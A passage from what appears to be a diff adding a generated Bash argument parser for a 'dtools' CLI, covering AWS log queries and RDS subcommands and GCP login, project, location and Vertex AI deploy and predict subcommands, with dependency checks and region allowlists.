^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then + printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 + exit 1 + fi + + # :command.user_filter + filter_error=$(filter_profile_and_region_variables_set_with_flags) + if [[ -n $filter_error ]]; then + echo "$filter_error" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_aws_logs_query_log_groups_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_aws_logs_query_log_groups_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="aws logs query-log-groups" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --profile | -p) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--profile']="$2" + shift + shift + else + printf "%s\n" "--profile requires an argument: --profile, -p PROFILE" >&2 + exit 1 + fi + ;; + + # :flag.case + --region | -r) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--region']="$2" + shift + shift + else + printf "%s\n" "--region requires an argument: --region, -r REGION" >&2 + exit 1 + fi + ;; + + # :flag.case + --log-group-name | -l) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + escaped="$(printf '%q' "$2")" + if [[ -z ${args['--log-group-name']+x} ]]; then + args['--log-group-name']="$escaped" + else + args['--log-group-name']="${args['--log-group-name']} $escaped" + fi + shift + shift + else + printf "%s\n" "--log-group-name requires an argument: --log-group-name, -l LOG_GROUP_NAME" >&2 + exit 1 + fi + ;; + + # :flag.case + --start-time) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--start-time']="$2" + shift + shift + else + printf "%s\n" "--start-time requires an argument: --start-time START_TIME" >&2 + exit 1 + fi + ;; + + # :flag.case + --end-time) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--end-time']="$2" + shift + shift + else + printf "%s\n" "--end-time requires an argument: --end-time END_TIME" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + # :argument.case + if [[ -z ${args['query']+x} ]]; then + args['query']=$1 + shift + else + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + fi + + ;; + + esac + done + + # :command.required_flags_filter + if [[ -z ${args['--log-group-name']+x} ]]; then + printf "missing required flag: --log-group-name, -l LOG_GROUP_NAME\n" >&2 + exit 1 + fi + if [[ -z ${args['--start-time']+x} ]]; then + printf "missing required flag: --start-time START_TIME\n" >&2 + exit 1 + fi + if [[ -z ${args['--end-time']+x} ]]; then + printf "missing required flag: --end-time END_TIME\n" >&2 + exit 1 + fi + + # :command.default_assignments + [[ -n ${args['query']:-} ]] || args['query']="fields @timestamp, @message | sort @timestamp desc" + [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" + + # :command.validations + # :flag.validations + if [[ -v args['--profile'] ]]; then + validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" + if [[ -n "${validation_output}" ]]; then + printf "validation error in %s:\n%s\n" "--profile, -p PROFILE" "$validation_output" >&2 + exit 1 + fi + fi + + # :command.whitelist_filter + if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then + printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 + exit 1 + fi + + # :command.user_filter + filter_error=$(filter_profile_and_region_variables_set_with_flags) + if [[ -n $filter_error ]]; then + echo "$filter_error" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_aws_rds_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_aws_rds_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v aws >/dev/null 2>&1; then + printf "missing dependency: aws\n" >&2 + printf "%s\n\n" "Install the latest version following the instructions at 'https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html'" >&2 + missing_deps=1 + else + deps['aws']="$(command -v aws | head -n1)" + fi + + # :dependency.filter + if ! command -v jq >/dev/null 2>&1; then + printf "missing dependency: jq\n" >&2 + printf "%s\n\n" "Install with 'brew install jq'" >&2 + missing_deps=1 + else + deps['jq']="$(command -v jq | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action=${1:-} + + case $action in + -*) ;; + + list-db-instances) + action="list-db-instances" + shift + dtools_aws_rds_list_db_instances_parse_requirements "$@" + shift $# + ;; + + fetch-db-connection-details) + action="fetch-db-connection-details" + shift + dtools_aws_rds_fetch_db_connection_details_parse_requirements "$@" + shift $# + ;; + + # :command.command_fallback + "") + dtools_aws_rds_usage >&2 + exit 1 + ;; + + *) + printf "invalid command: %s\n" "$action" >&2 + exit 1 + ;; + + esac + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_aws_rds_list_db_instances_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_aws_rds_list_db_instances_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="aws rds list-db-instances" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --profile | -p) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--profile']="$2" + shift + shift + else + printf "%s\n" "--profile requires an argument: --profile, -p PROFILE" >&2 + exit 1 + fi + ;; + + # :flag.case + --region | -r) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--region']="$2" + shift + shift + else + printf "%s\n" "--region requires an argument: --region, -r REGION" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.default_assignments + [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" + + # :command.validations + # :flag.validations + if [[ -v args['--profile'] ]]; then + validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" + if [[ -n "${validation_output}" ]]; then + printf "validation error in %s:\n%s\n" "--profile, -p PROFILE" "$validation_output" >&2 + exit 1 + fi + fi + + # :command.whitelist_filter + if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then + printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 + exit 1 + fi + + # :command.user_filter + filter_error=$(filter_profile_and_region_variables_set_with_flags) + if [[ -n $filter_error ]]; then + echo "$filter_error" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_aws_rds_fetch_db_connection_details_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_aws_rds_fetch_db_connection_details_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="aws rds fetch-db-connection-details" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --profile | -p) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--profile']="$2" + shift + shift + else + printf "%s\n" "--profile requires an argument: --profile, -p PROFILE" >&2 + exit 1 + fi + ;; + + # :flag.case + --region | -r) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--region']="$2" + shift + shift + else + printf "%s\n" "--region requires an argument: --region, -r REGION" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + # :argument.case + if [[ -z ${args['db_instance']+x} ]]; then + args['db_instance']=$1 + shift + else + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + fi + + ;; + + esac + done + + # :command.required_args_filter + if [[ -z ${args['db_instance']+x} ]]; then + printf "missing required argument: DB_INSTANCE\nusage: dtools aws rds fetch-db-connection-details DB_INSTANCE [OPTIONS]\n" >&2 + + exit 1 + fi + + # :command.default_assignments + [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" + + # :command.validations + # :flag.validations + if [[ -v args['--profile'] ]]; then + validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" + if [[ -n "${validation_output}" ]]; then + printf "validation error in %s:\n%s\n" "--profile, -p PROFILE" "$validation_output" >&2 + exit 1 + fi + fi + + # :command.whitelist_filter + if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then + printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 + exit 1 + fi + + # :command.user_filter + filter_error=$(filter_profile_and_region_variables_set_with_flags) + if [[ -n $filter_error ]]; then + echo "$filter_error" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_gcp_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_gcp_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v gcloud >/dev/null 2>&1; then + printf "missing dependency: gcloud\n" >&2 + printf "%s\n\n" "Install the latest version following the instructions at 'https://docs.cloud.google.com/sdk/docs/install'" >&2 + missing_deps=1 + else + deps['gcloud']="$(command -v gcloud | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action=${1:-} + + case $action in + -*) ;; + + login) + action="login" + shift + dtools_gcp_login_parse_requirements "$@" + shift $# + ;; + + project) + action="project" + shift + dtools_gcp_project_parse_requirements "$@" + shift $# + ;; + + location) + action="location" + shift + dtools_gcp_location_parse_requirements "$@" + shift $# + ;; + + get-project-number) + action="get-project-number" + shift + dtools_gcp_get_project_number_parse_requirements "$@" + shift $# + ;; + + vertex) + action="vertex" + shift + dtools_gcp_vertex_parse_requirements "$@" + shift $# + ;; + + artifacts) + action="artifacts" + shift + dtools_gcp_artifacts_parse_requirements "$@" + shift $# + ;; + + # :command.command_fallback + "") + dtools_gcp_usage >&2 + exit 1 + ;; + + *) + printf "invalid command: %s\n" "$action" >&2 + exit 1 + ;; + + esac + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_gcp_login_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_gcp_login_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="gcp login" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --project | -p) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--project']="$2" + shift + shift + else + printf "%s\n" "--project requires an argument: --project, -p PROJECT" >&2 + exit 1 + fi + ;; + + # :flag.case + --location | -l) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--location']="$2" + shift + shift + else + printf "%s\n" "--location requires an argument: --location, -l LOCATION" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.default_assignments + [[ -n ${args['--location']:-} ]] || args['--location']="us-central1" + + # :command.whitelist_filter + if [[ ${args['--location']:-} ]] && [[ ! ${args['--location']:-} =~ ^(africa-south1|asia-east1|asia-east2|asia-northeast1|asia-northeast2|asia-northeast3|asia-south1|asia-south2|asia-southeast1|asia-southeast2|australia-southeast1|australia-southeast2|europe-central2|europe-north1|europe-north2|europe-southwest1|europe-west1|europe-west10|europe-west12|europe-west2|europe-west3|europe-west4|europe-west6|europe-west8|europe-west9|me-central1|me-central2|me-west1|northamerica-northeast1|northamerica-northeast2|northamerica-south1|southamerica-east1|southamerica-west1|us-central1|us-east1|us-east4|us-east5|us-south1|us-west1|us-west2|us-west3|us-west4)$ ]]; then + printf "%s\n" "--location must be one of: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" >&2 + exit 1 + fi + + # :command.user_filter + filter_error=$(filter_project_and_location_variables_set_with_flags) + if [[ -n $filter_error ]]; then + echo "$filter_error" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_gcp_project_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_gcp_project_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="gcp project" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + # :argument.case + if [[ -z ${args['project']+x} ]]; then + args['project']=$1 + shift + else + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + fi + + ;; + + esac + done + + # :command.required_args_filter + if [[ -z ${args['project']+x} ]]; then + printf "missing required argument: PROJECT\nusage: dtools gcp project PROJECT\n" >&2 + + exit 1 + fi + +} + +# :command.parse_requirements +dtools_gcp_location_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_gcp_location_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="gcp location" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + # :argument.case + if [[ -z ${args['location']+x} ]]; then + args['location']=$1 + shift + else + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + fi + + ;; + + esac + done + + # :command.required_args_filter + if [[ -z ${args['location']+x} ]]; then + printf "missing required argument: LOCATION\nusage: dtools gcp location LOCATION\n" >&2 + + exit 1 + fi + + # :command.whitelist_filter + if [[ -n ${args['location']:-} ]] && [[ ! ${args['location']:-} =~ ^(africa-south1|asia-east1|asia-east2|asia-northeast1|asia-northeast2|asia-northeast3|asia-south1|asia-south2|asia-southeast1|asia-southeast2|australia-southeast1|australia-southeast2|europe-central2|europe-north1|europe-north2|europe-southwest1|europe-west1|europe-west10|europe-west12|europe-west2|europe-west3|europe-west4|europe-west6|europe-west8|europe-west9|me-central1|me-central2|me-west1|northamerica-northeast1|northamerica-northeast2|northamerica-south1|southamerica-east1|southamerica-west1|us-central1|us-east1|us-east4|us-east5|us-south1|us-west1|us-west2|us-west3|us-west4)$ ]]; then + printf "%s\n" "location must be one of: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_gcp_get_project_number_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_gcp_get_project_number_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="gcp get-project-number" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + # :argument.case + if [[ -z ${args['project_name']+x} ]]; then + args['project_name']=$1 + shift + else + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + fi + + ;; + + esac + done + + # :command.required_args_filter + if [[ -z ${args['project_name']+x} ]]; then + printf "missing required argument: PROJECT_NAME\nusage: dtools gcp get-project-number PROJECT_NAME\n" >&2 + + exit 1 + fi + +} + +# :command.parse_requirements +dtools_gcp_vertex_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_gcp_vertex_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v gcloud >/dev/null 2>&1; then + printf "missing dependency: gcloud\n" >&2 + printf "%s\n\n" "Install the latest version following the instructions at 'https://docs.cloud.google.com/sdk/docs/install'" >&2 + missing_deps=1 + else + deps['gcloud']="$(command -v gcloud | head -n1)" + fi + + # :dependency.filter + if ! command -v jq >/dev/null 2>&1; then + printf "missing dependency: jq\n" >&2 + printf "%s\n\n" "Install with 'brew install jq'" >&2 + missing_deps=1 + else + deps['jq']="$(command -v jq | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action=${1:-} + + case $action in + -*) ;; + + deploy-model) + action="deploy-model" + shift + dtools_gcp_vertex_deploy_model_parse_requirements "$@" + shift $# + ;; + + predict) + action="predict" + shift + dtools_gcp_vertex_predict_parse_requirements "$@" + shift $# + ;; + + list-endpoints) + action="list-endpoints" + shift + dtools_gcp_vertex_list_endpoints_parse_requirements "$@" + shift $# + ;; + + tail-endpoint-logs) + action="tail-endpoint-logs" + shift + dtools_gcp_vertex_tail_endpoint_logs_parse_requirements "$@" + shift $# + ;; + + # :command.command_fallback + "") + dtools_gcp_vertex_usage >&2 + exit 1 + ;; + + *) + printf "invalid command: %s\n" "$action" >&2 + exit 1 + ;; + + esac + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_gcp_vertex_deploy_model_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_gcp_vertex_deploy_model_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="gcp vertex deploy-model" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --project | -p) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--project']="$2" + shift + shift + else + printf "%s\n" "--project requires an argument: --project, -p PROJECT" >&2 + exit 1 + fi + ;; + + # :flag.case + --location | -l) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--location']="$2" + shift + shift + else + printf "%s\n" "--location requires an argument: --location, -l LOCATION" >&2 + exit 1 + fi + ;; + + # :flag.case + --display-name | -d) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--display-name']="$2" + shift + shift + else + printf "%s\n" "--display-name requires an argument: --display-name, -d DISPLAY_NAME" >&2 + exit 1 + fi + ;; + + # :flag.case + --container-image | -c) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--container-image']="$2" + shift + shift + else + printf "%s\n" "--container-image requires an argument: --container-image, -c CONTAINER_IMAGE" >&2 + exit 1 + fi + ;; + + # :flag.case + --container-port) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--container-port']="$2" + shift + shift + else + printf "%s\n" "--container-port requires an argument: --container-port CONTAINER_PORT" >&2 + exit 1 + fi + ;; + + # :flag.case + --health-route) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--health-route']="$2" + shift + shift + else + printf "%s\n" "--health-route requires an argument: --health-route HEALTH_ROUTE" >&2 + exit 1 + fi + ;; + + # :flag.case + --predict-route) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--predict-route']="$2" + shift + shift + else + printf "%s\n" "--predict-route requires an argument: --predict-route PREDICT_ROUTE" >&2 + exit 1 + fi + ;; + + # :flag.case + --model-gcs-uri) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--model-gcs-uri']="$2" + shift + shift + else + printf "%s\n" "--model-gcs-uri requires an argument: --model-gcs-uri MODEL_GCS_URI" >&2 + exit 1 + fi + ;; + + # :flag.case + --endpoint-name | -e) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--endpoint-name']="$2" + shift + shift + else + printf "%s\n" "--endpoint-name requires an argument: --endpoint-name, -e ENDPOINT_NAME" >&2 + exit 1 + fi + ;; + + # :flag.case + --machine-type | -m) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--machine-type']="$2" + shift + shift + else + printf "%s\n" "--machine-type requires an argument: --machine-type, -m MACHINE_TYPE" >&2 + exit 1 + fi + ;; + + # :flag.case + --accelerator) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--accelerator']="$2" + shift + shift + else + printf "%s\n" "--accelerator requires an argument: --accelerator ACCELERATOR" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.required_flags_filter + if [[ -z ${args['--display-name']+x} ]]; then + printf "missing required flag: --display-name, -d DISPLAY_NAME\n" >&2 + exit 1 + fi + if [[ -z ${args['--container-image']+x} ]]; then + printf "missing required flag: --container-image, -c CONTAINER_IMAGE\n" >&2 + exit 1 + fi + if [[ -z ${args['--endpoint-name']+x} ]]; then + printf "missing required flag: --endpoint-name, -e ENDPOINT_NAME\n" >&2 + exit 1 + fi + + # :command.default_assignments + [[ -n ${args['--location']:-} ]] || args['--location']="us-central1" + [[ -n ${args['--container-port']:-} ]] || args['--container-port']="8080" + [[ -n ${args['--health-route']:-} ]] || args['--health-route']="/isalive" + [[ -n ${args['--predict-route']:-} ]] || args['--predict-route']="/predict" + [[ -n ${args['--machine-type']:-} ]] || args['--machine-type']="n1-standard-2" + + # :command.whitelist_filter + if [[ ${args['--location']:-} ]] && [[ ! ${args['--location']:-} =~ ^(africa-south1|asia-east1|asia-east2|asia-northeast1|asia-northeast2|asia-northeast3|asia-south1|asia-south2|asia-southeast1|asia-southeast2|australia-southeast1|australia-southeast2|europe-central2|europe-north1|europe-north2|europe-southwest1|europe-west1|europe-west10|europe-west12|europe-west2|europe-west3|europe-west4|europe-west6|europe-west8|europe-west9|me-central1|me-central2|me-west1|northamerica-northeast1|northamerica-northeast2|northamerica-south1|southamerica-east1|southamerica-west1|us-central1|us-east1|us-east4|us-east5|us-south1|us-west1|us-west2|us-west3|us-west4)$ ]]; then + printf "%s\n" "--location must be one of: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" >&2 + exit 1 + fi + + # :command.user_filter + filter_error=$(filter_project_and_location_variables_set_with_flags) + if [[ -n $filter_error ]]; then + echo "$filter_error" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_gcp_vertex_predict_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_gcp_vertex_predict_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="gcp vertex predict" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --location | -l) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--location']="$2" + shift + shift + else + printf "%s\n" "--location requires an argument: --location, -l LOCATION" >&2 + exit 1 + fi + ;; + + # :flag.case + --file | -f) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--file']="$2" + shift + shift + else + printf "%s\n" "--file requires an argument: --file, -f FILE" >&2 + exit 1 + fi + ;; + + # :flag.case + --endpoint-name | -e) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--endpoint-name']="$2" + shift + shift + else + printf "%s\n" "--endpoint-name requires an argument: --endpoint-name, -e ENDPOINT_NAME" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.default_assignments + [[ -n ${args['--location']:-} ]] || args['--location']="us-central1" + + # :command.whitelist_filter + if [[ ${args['--location']:-} ]] && [[ ! ${args['--location']:-} =~ ^(africa-south1|asia-east1|asia-east2|asia-northeast1|asia-northeast2|asia-northeast3|asia-south1|asia-south2|asia-southeast1|asia-southeast2|australia-southeast1|australia-southeast2|europe-central2|europe-north1|europe-north2|europe-southwest1|europe-west1|europe-west10|europe-west12|europe-west2|europe-west3|europe-west4|europe-west6|europe-west8|europe-west9|me-central1|me-central2|me-west1|northamerica-northeast1|northamerica-northeast2|northamerica-south1|southamerica-east1|southamerica-west1|us-central1|us-east1|us-east4|us-east5|us-south1|us-west1|us-west2|us-west3|us-west4)$ ]]; then + printf 